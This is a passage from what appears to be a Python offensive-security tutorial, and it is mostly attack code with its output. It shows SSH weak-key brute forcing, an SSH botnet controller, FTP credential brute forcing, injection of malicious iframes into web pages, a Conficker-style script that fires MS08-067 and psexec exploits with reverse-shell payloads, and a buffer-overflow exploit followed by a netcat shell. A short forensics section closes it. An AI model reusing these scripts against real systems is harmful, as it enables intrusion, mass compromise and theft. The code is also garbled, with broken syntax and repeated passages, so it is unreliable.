attacker# wget <http://digitaloffense.net/tools/debian-openssl/debian_ssh_dsa_1024_x86.tar.bz2>

attacker# bunzip2 debian\_ssh\_dsa\_1024\_x86.tar.bz2

attacker# tar -xf debian\_ssh\_dsa\_1024\_x86.tar

attacker# cd dsa/1024/

attacker# ls

attacker# rm -rf dsa/1024/\*.pub

This mistake lasted for two years before it was discovered by a security researcher. As a result, it is accurate to state that quite a few servers were built with a weakened SSH service. It would be nice if we could build a tool to exploit this small Python script to brute force through each of the 32767 keys in order to authenticate to a passwordless SSH server that relies on a public-key cryptograph. However, let’s write our own script utilizing the same pexpect library we used to brute force through password authentication. The script to test weak keys proves nearly very similar to our brute force password authentication. To authenticate to SSH with a key, we need to type ssh user@host -i keyfile -o PasswordAuthentication=no. For the

Import pexpect

Import optparse

Import os

From threading import \*

maxConnections=5

Connection\_lock = BoundedSemaphore(value=maxConnections)

Stop = False

Fails = 0

Def connect(user, host, keyfile, release):

Global Stop

Global Fails

try:

perm\_denied = ‘Permission denied’

Ssh\_newkey = ‘Are you sure you want to continue’

Conn\_closed = ‘Connection closed by remote host’

Opt = ‘ -o PasswordAuthentication=no’

connStr = ‘ssh’ + user +\ ‘@’ + host + ‘-i’ + keyfile + opt

Child = pexpect.spawn(connStr)

Ret = child.expect([pexpect.TIMEOUT, perm\_denied, \ ssh\_newkey, conn\_closed, ‘$’, ‘#’, ])

If ret == 2:

Print ‘[-] Connection Closed by Remote Host’

Fails += 1

Elif ret > 3:

Print ‘[+] Success. ‘ + str(keyfile)

Stop = True

Finally:

If release:

connection\_lock.relase()

Def main():

Parser = optparse.OptionParser(‘usage%prog -H ‘ +\ ‘<target host> -u <user> -d <directory>)

parser.add\_option(‘-H’, dest=’tgtHost’, type=’string’, \ help = ‘specify target host’)

parser.add\_option(‘-d’, dest=’user’, type=’passDir’, \ help = ‘specify directory with keys’’)

parser.add\_option(‘-u’, dest=’user’, type=’string’, \ help = ‘specify the user’)

(options, args) = parser.parse\_args()

Host = options.tgtHost

passDir = options.passDir

User = options.user

If host == None or passDir == None or user == None:

Print parser.usage

exit(0)

For filename in os.listdir(passDir):

If Stop:

Print ‘[\*] Exciting: Key Found.’

exit(0)

If Fails > 5:

Print ‘[!] Exiting: ‘+\ ‘Too Many Connections Closed by Remote Host.’

Print ‘[!] Adjust number of simultaneous threads.’

exit(0)

connection\_lock.acquire()

Fullpath = os.path.join(passDir, filename)

Print ‘[-] Testing keyfile ‘ + str(fullpath)

T = Thread (target = connect, \ args= (user, host, fullpath, True))

Child = t.start()

If \_\_name\_\_ == ‘\_\_main\_\_’:

main()

Testing this against a target, we see that we gain access to a vulnerable system. If the 1024-bit keys do not work, try downloading the 2048 keys as well and using them.

attacker# python bruteKey.py -H 10.10.13.37 -u root -d dsa/1024

[-] Testing keyfile tmp/002cc1e7910d61712c1aa07d4a609e7d-16764

[+] Success, tmp/002dcb29411aac8087bcfde2b6dd176-27637

[\*] Exiting: Key Found.

**Constructing the SSH Botnet**

Now that we have demonstrated we can control a host via SSH, let us expand it to control multiple hosts simultaneously. Attackers often use collections of compromised computers for malicious purposes. We call this a botnet because the compromised computers

Import optparse

Import pxssh

Class Client:

Def \_\_init\_\_ (self, host, user, password):

self.host = host

Self.user = user

Self.password = password

Self.session = self.connect()

Def connect(self):

try:

S = pxssh.pxssh()

s.login(self.host, self.user, self.password)

Return s

Except Exception, e:

Print e

Print ‘[-] Error Connecting’

Def send\_command(self,cmd):

self.session.sendline(cmd)

self.session.prompt()

Return self.session.before

Examine the code to produce the class object Client(). To build the client requires the hostname, username, and password or key. Furthermore, the class contains the methods required to sustain a client - connect(), send\_command(), alive(). Notice that when we reference a variable belonging to a class, we call it self-followed by the variable name. To construct the botnet, we build a global array named botnet and this array contains the individual client objects. Next, we build a function named addClient() that takes a host, user, and password as input to instantiates a client object and add it to the botnet array. Next, the botnetCommand() function takes an argument of a command. This function iterates through the entire array and sends the command to each client in the botnet array.

…

…

Def botnetCommand(command):

For client in botNet:

Output = client.send\_command(command)

Print ‘[\*] Output from ‘ + client.host

Print ‘[+] ‘ + output + ‘\n’

Def addClient(host, user, password):

Client = Client(host, user, password)

botNet.append(client)

botNet = []

addClient(‘10.10.10.110’, ‘root’, ‘toor’)

addClient(‘10.10.10.120’, ‘root’, ‘toor’)

addClient(‘10.10.10.130’, ‘root’, ‘toor’)

botNetCommand(‘uname -v’)

botNetCommand(‘cat /etc/issue’)

By wrapping everything up, we have our final SSH botnet script. This proves an excellent method for mass controlling targets. To test, we make three copies of our current Backtrack 5 virtual machine and assign.

attacker:~# python botNet.py

[\*] Output from 10.10.10.110

[+] uname -v

#1 SMP Fri Feb 17 10:34:20 EST 2012

[\*] Output from 10.10.10.120

[+] uname -v

#1 SMP Fri Feb 17 10:34:20 EST 2012

[\*] Output from 10.10.10.130

[+] uname -v

#1 SMP Fri Feb 17 10:34:20 EST 2012

[\*] Output from 10.10.10.110

[+] cat /etc/issue

BackTrack 5 R2 - Code Name Revolution 64 bit \n \]

[\*] Output from 10.10.10.120

[+] cat /etc/issue

BackTrack 5 R2 - Code Name Revolution 64 bit \n \]

[\*] Output from 10.10.10.130

[+] cat /etc/issue

BackTrack 5 R2 - Code Name Revolution 64 bit \n \]

**Mass Compromise by Bridging FTP and Web**

In a recent massive compromise, dubbed k985ytv, attackers used anonymous and stolen FTP credentials to gain access to 22,400 unique domains and 536000 infected pages. With access granted, the attackers injected javascript to redirect benign pages to a malicious domain in Ukraine. Once the infected server redirected the victims, the malicious Ukrainian host exploited victims in order to install a fake antivirus program that stolen credit card information from the clients. Examining the FTP logs of the infected servers, we can see exactly what happened. An automated script connected to the target host in order to determine if it contained a default page named index.htm. Next the attacker uploaded a new index.htm, presumably containing the malicious redirection script. The infected server then exploited any vulnerable clients that visited its pages.

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “LIST /folderthis/folderthat/” 226 1862

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “TYPE I” 200 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “PASV” 227 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “SIZE index.htm” 213 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “SIZE index.htm” 226 2573

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “TYPE I” 200 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -0500] “PASV” 227 -

204.12.252.138 UNKNWON u47973886 [14/Aug/2011:23:19:27 -0500] “STOR index.htm” 226 3018

**Building an Anonymous FTP Scanner with Python**

Considering the security implications, it seems insane that any sites would offer anonymous FTP access. However, many sites surprisingly provide legitimate reasons for this kind of FTP access such as promoting the idea that this enables a more enhanced means of accessing software updates. We can utilize the ftplib library in Python in order to build a small script to determine if a server offers anonymous logins. The function anonLogin() takes a hostname and returns a boolean that describes the availability of anonymous logins. In order to determine this Boolean, the function attempts to create an FTP connection with anonymous credentials. If it succeeds, it returns the value “True”.

Import ftplib

Def anonLogin(hostname):

Try:

ftp=ftplib.FTP(hostname)

ftp.login(‘anonymous’, ‘[me@your.com](mailto:me@your.com)’)

Print ‘n\[\*]’ + str(hostname) +\ ‘ FTP Anonymous Login Succeeeded. ‘

ftp.quit()

Return True

Except Exception,e:

Print ‘n\[-]’ + str(hostname) +\ ‘ FTP Anonymous Login Failed. ‘

Return False

host=’192.168.95.179’

anonLogin(host)

Running the code, we see a vulnerable target with anonymous FTP enabled.

attacker# python anonLogin.py

[\*] 192.168.95.179 FTP Anonymous Login Succeeded .

**Using Ftplib to Brute Force FTP User Credentials**

Storing passwords in cleartext in a default location allows custom malware to quickly steal credentials. Security experts have found FTP stealing credentials as recent malware. Furthermore, HD Moore even included the get\_filezilla\_creds.rb script in a recent Metasploit release allowing users to quickly scan for FTP credentials after exploiting a target. Imagine a text file of a username/password combinations stored in a flare text file.

administrator:password

Admin:12345

Root:secret

Guest:guest

Root:toor

We can now expand upon our early anonLogin() function to build one called bruteLogin(). This function will take a host and password file as input and return the credentials that allow access to the host. Notice the function iterates through each line of the file, splitting each line at the colon. The function then takes the username and password and attempts to login to the FTP server. If it succeeds, it returns a tuple of a username and password. If it fails, it passes through the exception and continues to the next line. If the function exhausted all lines and failed to successfully login, it returns a tuple of (None, None).

Iterating through the list of username/password combinations, we finally find the account guest with the password guest works.

attacker# python bruteLogin.py

[+] Trying: administrator/password

[+] Trying: admin/12345

[+] Trying: root/secret

[+] Trying: guest/guest

[\*] 192.168.95.179 FTP Logon Succeeded: guest/guest

**Searching for Web Pages on the FTP Server**

With credentials on the FTP server, we must now test if the server also provides web access. In order to test this, we will first list the contents of the FTP server’s directory and search for default web pages. The function returnDefault() takes an FTP connection as the input and returns an array of default pages it finds. It does this by issuing the command NLST, which lists the directory contents. The function checks each file returned by NLST, which lists the directory contents. The function checks each file returned by NLST against default web page file names. It also appends any discovered default pages to an array called retList. After completing the iteration of these files, the function returns this array.

Import ftplib

Def returnDefault(ftp):

Try:

dirList = ftp.nlst()

Except:

dirList = []

Print ‘[-] Could not list directory contents.’

Print ‘[-] Skipping To Next Target..’

return

retList = []

For fileName in dirList:

Fn = fileName.lower()

If ‘.php’ in fn or ‘.htm’ in fn or ‘.asp’ in fn:

Print ‘[+] Found default page: ‘ + fileName

retList.append(fileName)

Return retList

Host = ‘192.168.95.179’

userName = ‘guest’

passWord = ‘guest’

Ftp = ftplib.FTP(host)

ftp.login(userName, passWord)

returnDefault(ftp)

Looking at the vulnerable FTP server, we see it has three webpages in the base directory. Great! We’ll now move on to infecting these pages with our client-side attack vector.

attacker# python defaultPages.py

[+] Found default page: index.html

[+] Found default page: index.php

[+] Found default page: testmysql.php

**Adding a Malicious Inject to Web Pages**

Now that we have found web page files, we must infect them with a malicious redirect. We will use the Metasploit framework in order to quickly create a malicious server and page hosted at <http://10.10.10.112:8080/exploit>. Notice we choose the exploit ms10\_002\_aurora, the very same exploit used during Operation Aurora against Google. The page at 10.10.10.112/exploit will exploit redirected victims, which will provide a callback to our command and control server.

attacker# msfcli exploit/windows/browser/ms10\_002\_aurora

Any vulnerable client that connects to our server at <http://10.10.10.112:8080/exploit/> will now fall prey to our exploit. If it succeeds, it will create a reverse TCP shell and grant us access to the Windows command prompt on the infected client. Fromthe command shell, we can now execute commands as the administrator of the infected victim.

Msf exploit (ms10\_002\_aurora) > [\*] Sending Internet Explorer “Aurora” Memory Corruption to client 10.10.10.107

C:\Documents and Settings\Administrator\Desktop>

*Next, we must add a redirect from the benign infected servers to our malicious exploit server.*

Import ftplib

Def injectPage (ftp,page, redirect):

F = open(page + ‘.tmp’, ‘w’)

ftp.retrlines(‘RETR’ + page, f.write)

Print ‘[+] Downloaded Page: ‘ + page

f.write(redirect)

f.close()

Print ‘[+] Injected Malicious IFrame on: ‘ + page

ftp.storlines(‘STOR ‘ + page, open(page + ‘.tmp’))

Print ‘[+] Uploaded Injected Page: ‘ + page

Host = ‘192.168.95.179’

userName = ‘guest’

passWord = ‘guest’

Ftp = ftplib.FTP(host)

ftp.login(userName, passWord)

Redirect = ‘<iframe src=’+\’”http://10.10.10.112:8080/exploit”></iframe>’

injectPage(ftp, ‘index.html’, redirect)

Running our code, we see it download the index.html page and inject it with our malicious content.

attacker# python injectPage.py

[+] Downloaded Page: index.html

[+] Injected Malicious IFrame on: index.html

[+] Uploaded Injected Page: index.html

**Bringing the Entire Attack Together**

We will wrap our entire attack in the attack() function. The attack() function takes a username, password, hostname, and redirect location as input. The function first logs onto the FTP server with the credentials. Next, we have the script search for default web pages. For each of these pages, the script downloads a copy and adds a malicious redirection. The script then uploads the infected page back to the FTP server, which will then infect any future victims that visit that web server.

Def attack(username, password, tgtHost, redirect):

Ftp = ftplib.FTP(tgtHost)

ftp.login(username, password)

defPages = returnDefault(ftp)

For defPage in defPages:

injectPage(ftp, defPage, redirect)

Adding some option parsing, we wrap up the entire script. You’ll notice we first try to gain anonymous access to the FTP server. If this fails, we then brute force credentials and run our attack against the discovered credentials.

Import ftplib

Import optparse

Import time

Def anonLogin(hostname):

try:

Ftp = ftplib.FTP(hostname)

ftp.login(‘anonymous’, ‘[me@your.com](mailto:me@your.com)’)

print(‘\n[\*]’ + str(hostname) \ + ‘ FTP Anonymous Login Succeeded.’

ftp.quit()

Return True

Except Exception as e:

print (‘\n[-]’ + str(hostname) +\ ‘ FTP Anonymous Login Failed.’

Return False

Def bruteLogin(hostname, passwdFile):

pF = open(passwdFile, ‘r’)

For line in pF.readlines():

time.sleep(1)

userName = line.split(‘:’)[0]

passWord = line.split(‘:’)[1].strip(‘\r’).strip(‘\n’)

Print ‘[+] Trying: ‘ + userName + ‘/’ + passWord

Try:

Ftp = ftplib.FTP(hostname)

ftp.login(userName, passWord)

Except Exception, e:

Pass

Print ‘\n[-] Could not brute force FTP credentials.’

Return (None,None)

Def returnDefault(ftp):

Try:

dirList = ftp.nlst()

Except:

dirList = []

Print ‘[-] Could not list directory contents.’

Print ‘[-] Skipping to Next Target.’

Return

retList = []

For fileName in dirList:

Fn = fileName.lower()

If ‘.php’ in fn or ‘.htm’ in fn or ‘.asp’ in fn:

Print ‘[+] Found default page: ‘ + fileName

retList.append(fileName)

Return retList

def injectPage(ftp, page, redirect):

F = open(page + ‘.tmp’, ‘w’)

ftp.retrlines(‘RETR ‘ + page, f.write)

Print ‘[+] Downloaded Page: ‘ + page

f.write(reidrect)

f.close()

Print ‘[+] Injected Malicious IFrame on: ‘ + page

Def attack(username, password, tgtHost, redirect):

Ftp = ftplib.FTP(tgtHost)

ftp.login(username, password)

defPages = returnDefault(ftp)

For defPages in defPages:

injectPage(ftp, defPage, redirect)

Def main():

Parser = optparse.OptionParser(‘usage%prog ‘ +\ ‘-H <target host[s]> -r <redirect page>’ +\ ‘[-f <userpass file>]’)

parser.add\_option(‘-H’, dest = ‘tgtHosts’, \ type=’string’, help = ‘specify target host’)

parser.add\_option(‘-f’, dest = ‘passwdFile’, \ type=’string’, help = ‘specify user/password file’)

parser.add\_option(‘-r’, dest=’redirect’, \ type = ‘string’, help = ‘specify a redirection page’)

(options, args) = parser.parse\_args()

tgtHosts = str(options.tgtHosts).split(‘, ‘)

passwdFile = options.passwdFile

redirect = options.redirect

If tgtHosts == None or redirect == None:

Print parser.usage

exit(0)

For tgtHost in tgtHosts:

userName = None

Password = None

If anonLogin(tgtHost) == True:

Username = ‘anonymous’

Password = ‘[me@your.com](mailto:me@your.com)’

Print ‘[+] Using Anonymous Creds to attack’

Attack (username, password, tgtHost, redirect)

elif passwdFile != None:

(username, password) =\

\ bruteLogin(tgtHost, passwdFile)

If password != None:

Print ‘[+] Using Creds: ‘ +\

Username + ‘/’ password + ‘ to attack’

attack(username, password, tgtHost, redirect)

If \_\_name\_\_ == ‘\_\_main\_\_’:

main()

Running our script against a vulnerable FTP server, we see it brute attempt anonymous login and fail, enumerate the password guest/guest, and then download and inject every page in the base directory. We ensure our client-side attack vector is running and wait for a victim to connect the now infected webserver. Soon enough, 10.10.10.107 visits the webserver and is redirected to our client-side attack. Success! We get a command shell on a client victim by infecting the webserver by way of the FTP server.

attacker# msfcli exploit/windows/browser/ms10\_002\_aurora LHOST=10.10.10.112 URIPATH=/exploit PAYLOAD=windows/shell/reverse\_tcp LHOST=10.10.10.112 LPORT=443 E

Although the criminals behind Fake Antivirus progpagation used the k985ytv attack as one of many approach vectors, k985ytv did successfully compromise 2220 of the 11,000 suspected infected domains. Overall, Fake Antivirus captured the credit cards of over 43 million people by 2009 and continues to grow. Not bad for one hundred lines of Python code.

**Conficker, why Trying Hard is Always Good Enough**

In its attack, Conficker utilized a password list of over 250 million passwords. The Morris Worm used a password list of 432 passwords. These two very successful attacks share 11 (eleven) common passwords on the list. When building your attack list, it is definitely worth including these eleven passwords.

Aaa

Academia

Anything

Coffee

Computer

cookie

oracle

Password

secret

Super

unknown

DARPA Cyber Fast Track Project Manager, Peter Zatko (aka Mudge) made an entire room of Army Brass blush when he asked if they constructed their passwords using a combination of two capitalized words followed by two special character and two numbers. Additionally, the hacker group LulzSec released 26,000 passwords and personal information about users in a dump in early June 2011. In a coordinated strike, several of these passwords were reused to attack the social networking sites of the same individuals. [...]

**Attacking the Windows SMB Service with Metasploit**

Shortly after the release of the vulnerability included in the Conficker worm, HD Moore integrated a working exploit into the example-ms08-067\_netapi.

While attacks can be interactively driven using Metasploit, it also has the capability to read in a resource batch file. Metasploit sequentially processes the commands for the batch file in order to execute an attack. Consider, for instance, if we want to attack our target at our victim host 192.168.13.37 using the ms08\_067\_netapi (Conficker) exploit in order to deliver a shell back to our host at 192.168.77.77 on TCP port 7777.

Use exploit/windows/smb/ms08\_067\_netapi

Set RHOST 192.168.1.37

Set PAYLOAD windows/meterpreter/reverse\_tcp

Set LHOST 192.168.77.77

Set LPORT 7777

Exploit -j -z

To utilize Metasploit’s attack, we first chose our exploit (exploit/windows/smb/ms08\_067\_netapi) and then set the target to 192.168.1.37. Following target selection, we indicated the payload as windows/meterpreter/reverse\_tcp and selected a reverse connection to our host at 192.168.77.77 on port 7777. Finally, we told Metasploit to exploit the system. Saving the configuration file to the filename conficker.rc, we can now launch our attack by issuing the command msfconsole -r conficker.rc. This command will tell Metasploit to launch with the conficker.rc configuration file. When successful, our attack returns a Windows command shell to control the machine.

attacker$ msfconsole -r conficker.rc

**Writing Python to Interact with Metasploit**

Great! We built a configuration file, exploited a machine and gained a shell. Repeating this process for 254 hosts might take us quite a bit of time in order to type out a configuration file, but if we use Python again, we can generate a quick script to scan for hosts that have TCP port 445 open and then build a Metasploit resource file to attack all the vulnerable hosts.

First, let’s use the Nmap-Python module from our previous portscanner exampl. Here the function findTgts,() takes an input of potential target hosts and returns all the hosts that have TCP port 445 open. TCP port 445 serves as a primary port for the SMB protocol. By filtering only the hosts that have a TCP port 445 open, our attack script can now target only valid ones. This will eliminate hosts that would ordinarily block our connection attempt. The function iterates through all hosts in the scan. If the function finds a host with a TCP open, our attack script can now target only valid ones. This will eliminate hosts that would ordinarily block our connection attempt. The function iterates through all hosts in the scan. If the function finds a host with a TCP open, it appends that host to an array. After completing the iteration, the function returns this array, containing all the hosts with TCP port 445 open.

Import nmap

Def findTgts(subNet):

nmScan = nmap.PortScanner()

nmScan.scan(subNet, ‘445’)

tgtHosts = []

For host in nmScan.all\_hosts():

If nmScan[host].has\_tcp(445):

State = nmScan[host][‘tcp’][445][‘state’]

If state == ‘open’:

Print ‘[+] Found Target Host: ‘ + host

tgtHosts.append(host)

Return tgtHosts

Next, we will set up a listener for our exploited targets. This listener, or command and control channel, will allow us to remotely interact with our target hosts once they are exploited. Metasploit provides an advanced and dynamic payload known as the Meterpreter. Running on a remote machine, the Metasploit Meterpreter, calls back to our command and control host and provides a wealth of functionality to analyze and control the infected target. Meterpreter extensions provide the ability to look for forensic objects, issue commands, route traffic through the infected host, install a key-logger, or dump password hashes.

When a Meterpreter process connects back to the attacker for command and control it a Metasploit module called the multi/handler. To setup a multi/handler listener on our machine, we will need to write the instructions to our Metasploit resource configuration file. Notice, how we set the payload as a reverse\_tcp connection and then indicate our local host address and port we wish to receive the connection on. Additionally, we will set a global configuration DisablePayloadHandler to indicate that all future hosts do not need to set up a handler since we already have one listening.

Def setupHandler(configFile, lhost, lport):

configFile.write(‘use exploit/multi/handler\n’)

configFile.write(‘set PAYLOAD ‘ +\ ‘windows/meterpreter/reverse\_tcp\n’)

configFile.write(‘set LPORT ‘ + str(lport) + ‘\n’)

configFile.write(‘exploit -j -z\n’)

configFile.write(‘setg DisablePayloadHandler l\n’)

Finally, the script has reached the point of being able to launch exploits against the target. This function will input a Metasploit configuration file, a target, and the local address and ports for the exploit. The function will writ the exploit, ms08\_067\_netapi, used in the Conficker attack attack against the target or RHOST. Additionally, it chooses the Meterpreter payload and the local address (LHOST) and port (LPORT) required for the Meterpreter. Finally, it sends an instruction to exploit the machine under the context of a job (-j) and to not interact with the job immediately (-z). The script requires these particular options since it will exploit several targets and therefore cannot interact with all of them simultaneously.

Def confickerExploit(configFile, tgtHost, lhost, lport):

configFile.write(‘use exploit/windows/smb/ms08\_067\_netapi\n’)

configFile.write(‘set RHOST ‘ + str(tgtHost) + ‘\n’)

configFile.write(‘set PAYLOAD ‘ +\ ‘windows/meterpreter/reverse\_tcp\n’)

configFile.write(‘set LPORT ‘ + str(lport) + ‘\n’)

configFile.write(‘set LHOST ‘ + lhost + ‘\n’)

configFile.write(‘exploit -j -z/n’)

**Remote Process Execution Brute Force**

While attackers have successfully launched the ms08\_067\_netapi exploit against victims around the world, a defender can easily prevent it with current security patches. Thus, the script will require the second attack vector used in the Conficker Worm. It will need to brute force through SMB username/password combinations attempting to gain access to remotely executed processes on the host (psexec). The function smbBrute takes the Metasploit configuration file, the target host, a second file containing a list of passwords, and the local address and port for the listener. It sets the username as the default Windows Administrator and then opens the password file. For each password in the file, the function builds a Metasploit resource configuration, the target host, a second file containing a list of passwords, and the local address and port for the listener. It sets the username as the default Windows Administrator and then opens the password file. For each password in the file, the function builds a Metasploit resource configuration in order to use the remote process execution (psexec) exploit. If a username/password combination succeeds, the explicit launches the Meterpreter payload back to the local address and port.

Def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):

Username = ‘Administrator’

pF = open(passwdFile, ‘r’)

For password in pF.readlines():

Password = password.strip(‘\n’).strip(‘\r’)

configFile.write(‘use exploit/windows/smb/psexec\n’)

configFile.write(‘set SMBUser ‘ + str(username) + ‘\n’)

configFile.write(‘set SMBPass ‘ + str(password) + ‘\n’)

configFile.write(‘set RHOST ‘ + str(tgtHost) + ‘\n’)

configFile.write(‘set PAYLOAD ‘ +\ ‘windows/meterpreter/reverse\_tcp\n’)

configFile.write(‘set LPORT ‘ + str(lport) + ‘\n’)

configFile.write(‘set LHOST ‘ + lhost + ‘\n’)

configFile.write(‘exploit -j -z/n’)

**Putting it Back Together to Build Our Own Conficker**

Putting this all back together, the script now has the ability to scan for possible targets and exploit them using the MS08\_067 vulnerability and/or brute force through a list of passwords to remotely execute processes. Finally, we will add some option parsing back to the main() function of the script and then call the previous written functions as required to wrap up the entire script. The complete script follows.

Import os

Import optparse

Import sys

Import nmap

Def findTgts(subNet):

nmScan = nmap.PortScanner()

nmScan.scan(subNet, ‘445’)

tgtHosts = []

For host in nmScan.all\_hosts():

If nmScan[host].has\_tcp(445):

State = nmScan[host][‘tcp’][445][‘state’]

If state == ‘open’:

Print ‘[+] Found Target Host: ‘ + host

tgtHost.append(host)

Return tgtHosts

Def setupHandler(configFile, lhost, lport):

configFile.write(‘use exploit/multi/handler\n’)

configFile.write(‘set payload ‘+\ ‘windows/meterpreter/reverse\_tcp\n’)

configFile.write(‘set LPORT ‘ + str(lport) + ‘\n’)

configFile.write(‘exploit -j -z/n’)

configFile.write(‘setg DisablePayloadHandler l\n’)

Def conflickerExploit(configFile, tgtHost, lhost, lport):

configFile.write(‘set RHOST ‘ + str(tgtHost) + ‘\n’)

configFile.write(‘set payload ‘ +\ ‘windows/meterpreter/reverse\_tcp\n’)

configFile.write(‘set LPORT ‘ + str(lport) + ‘\n’)

configFile.write(‘exploit -j -z/n’)

Def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):

Username = ‘Administrator’

pF = open(passwdFile, ‘r’)

For password in pF.readlines():

Password = password.strip(‘\n’).strip(‘\r’)

configFile.write(‘use exploit/windows/smb/psexec\n’)

configFile.write(‘set SMBUser ‘ + str(username) + ‘\n’)

configFile.write(‘set SMBPass ‘ + str(password) + ‘\n’)

configFile.write(‘set RHOST ‘ + str(tgtHost) + ‘\n’)

configFile.write(‘set payload ‘ +\ ‘windows/meterpreter/reverse\_tcp\n’)

configFile.write(‘set LPORT ‘ + str(lport) + ‘\n’)

configFile.write(‘set LHOST ‘ + lhost + ‘\n’)

configFile.write(‘exploit -j -z/n’)

Def main():

configFile = open(‘meta.rc’, ‘w’)

Parser = optparse.OptionParser(‘[-] Usage%prog ‘ +\ ‘-H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]’)

parser.add\_option(‘-H’, dest=’tgtHost’, type=’string’, \help = ‘specify the target address[es]’)

parser.add\_option(‘-p’, dest=’lport’, type=’string’, \help = ‘specify the listen port’)

parser.add\_option(‘-l’, dest=’lhost’, type=’string’, \help = ‘specify the listen address’)

parser.add\_option(‘-F’, dest=’passwdFile’, type=’string’, \help = ‘password file for SMB brute force attempt’)

(options, args) = parser.parse\_args()

If (options.tgtHost == None) | (options.lhost == None):

Print parser.usage()

exit(0)

Lhost = options.lhost

Lport = options.lport

If lport == None:

Lport = ‘1337’

passwdFile = options.passwdFile

tgtHosts = findTgts(options.tgtHost)

setupHandler(configFile, lhost, lport)

For tgtHost in tgtHosts:

confickerExploit(configFile, tgtHost, lhost, lport)

If passwdFile != None:

smbBrute(configFile, tgtHost, passwdFile, lhost, lport)

configFile.close()

os.system(‘msfconsole -r meta.rc’)

If \_\_name\_\_\_ == ‘\_\_main\_\_’:

main()

So far we have exploited machines using some well-known methods. However, what happens when you encounter a target with no known exploit? How do you build your own zero-day attack? In the following session, we will construct our own zero-day attack.

attacker# python conficker.py -H 192.168.30-50 -l 192.168.1.3 -F passwords.txt

**Writing Your Own Zero-Day Proof of Concept Code**

The preceding section and the Conficker worm made use of a stack composition vulnerability. While the Metasploit framework contains over eight hundred unique exploits in its arsenal, you may encounter a time when you have to write your own remote code execution exploit. This section explains how Python can help simplify that process. In order to do so, let’s begin by understanding stack based buffer overflows.

The Morris Worm succeeded in part because of a stack-based buffer overflow against the Finger service. This class of exploits succeeds because a program fails to sanitize or validate a user input.

**Stack-Based Buffer Overflow Attacks**

In the case of a stack-based buffer overflow, unchecked user data overwrites the next instruction pointer [EIP] to take control of a program’s flow. The exploit directs the EIP register to point to a location containing shellcode inserted by the attacker. A series of machine code instructions, shell code, can allow the exploit to add an additional user to the target system, make a network connection with the attacker, or download a stand-alone executable. Endless shellcode possibilities exist, solely depending on the size of available space in the memory.

…

…

**Sending the Exploit**

Using the Berkeley Socket API, we will create a connection to the TCP port 21 on our target host. If this connection succeeds, we will then authenticate to the host by sending an anonymous username and password. Finally, we will send the FTP command “RETR” followed by our crash variable. Since the affected program does not properly sanitize user input, this will result in a stack-based buffer overflow that overwrites the EIP register allowing the program to jump directly into and execute our shellcode.

S = socket.socket(socket.AF\_INET, sock.SOCK\_STREAM)

Try:

s.connect((target, 21))

Except:

Print “[-] Connection to “+target+” failed!”

sys.exit(0)

Print “[\*] Sending + ‘len(crash)’ + “ “ + command + “byte crash…”

s.send(“USER anonymous\r\n”)

s.recv(1024)

s.send(“PASS \r\n”)

s.recv(1024)

s.send(“RETR” + “ “ + crash + “\r\n”)

time.sleep(4)

After downloading a copy of a FreeFloat FTP to either a Windows XP SP2 or SP3 machine, we can test **Craig Freyman’s** exploit. Notice he used shellcode that binds a TCP port 4444 on the vulnerable target. So we will run our exploit script and use the netcat utility to connect to port 4444 on the target host. If everything succeeds, we now have access to a command prompt on the vulnerable target.

attacker$ python freefloat2-overview.py 192.168.1.37 PWND

attacker$ nc 192.168.1.37 4444

**Forensics Investigations with Python - Introduction: How Forensics Solved the BTK Murders**

In February 2005, Wichita police forensic investigator Mr. Randy Stone unraveled the final clues of a 30-year old mystery. A couple days earlier, KSAS Television station had handed the police a 3.5” floppy disk they had received from the infamous BTK (Bind, Torture, Kill) Killer. Responsible for at least 10 murders from 1974 to 1991, the BTK Killer eluded capture while repeatedly taunting the police and his victims. On February 16th, 2005, the BTK killer sent the television station a 3.5” disk with communication instructions. Among these instructions, the disk contained a file named Test.A.rtf. While the file contained instructions from the BTK Killer, it also contained something else: metadata. Embedded in the MIcrosoft proprietary Rich Text Format (RTF), the file contained the first name of the BTK killer and the physical location at which the user had last saved the file. This narrowed the investigation to a man named Denis at the local Wichita Christ Lutheran Church. Mr. Stone verified that a man named Denis Rader served as a church officer at the Lutheran Church. With this information, police requested a warrant for a DNA sample from the medical records of Denis Rader’s daughter. The DNA sample confirmed what Mr. Stone already knew - Denis Rader was the BTK Killer. A 31-year investigation that had exhausted 100,000 man-hours ended with Mr. Stone’s examination of metadata.

**Where Have You Been? Analysis of Wireless Access Points in the Registry**

The Windows registry contains a hierarchical database that stores the configuration settings of the operating system. With the advent of wireless networking, the Windows Registry stores information related to the wireless connection. Understanding the location and meaning of these registry keys can provide us with geo-location information about where a laptop has been. From Windows Vista on, the Registry stores each of the networks in subkey under *HKLM|SOFTWARE|Microsoft|Windows NT|CurrentVersion|NetworkList|Signatures|Unmanaged.* From the Windows command prompt, we can list each of the networks, showing the profile Guid, network description, network name, and gateway MAC address.

C:\Windows\system32> reg query “HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\NetworkList\Signatures\Unmanaged” /s HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged\010103000F0000F0080000000F0000F04BCC2360E4B8F7DC8BDAFA88AE4DAD862E3960B979A7AD52FA5F70188E103148

**Using WinReg to Read the Windows Registry**

The registry stores the gateway MAC address as a REG\_BINARY type. In the previous example, the hex bytes \x00\x11\x50\x24\x68\x7F\x00\x00 refer to the actual address 00:11:50:24:68:7F. We will write a quick function to convert the REG\_BINARY value to an actual MAC address. Knowing the MAC address of the wireless network can prove useful, as we will see later.

def val2addr(val):

Addr = “ “

For ch in val:

Addr += (“%02x “ % ord(ch))

Addr = addr.strip(“ “).replace(“ “, “:”)[0:17]

Return addr

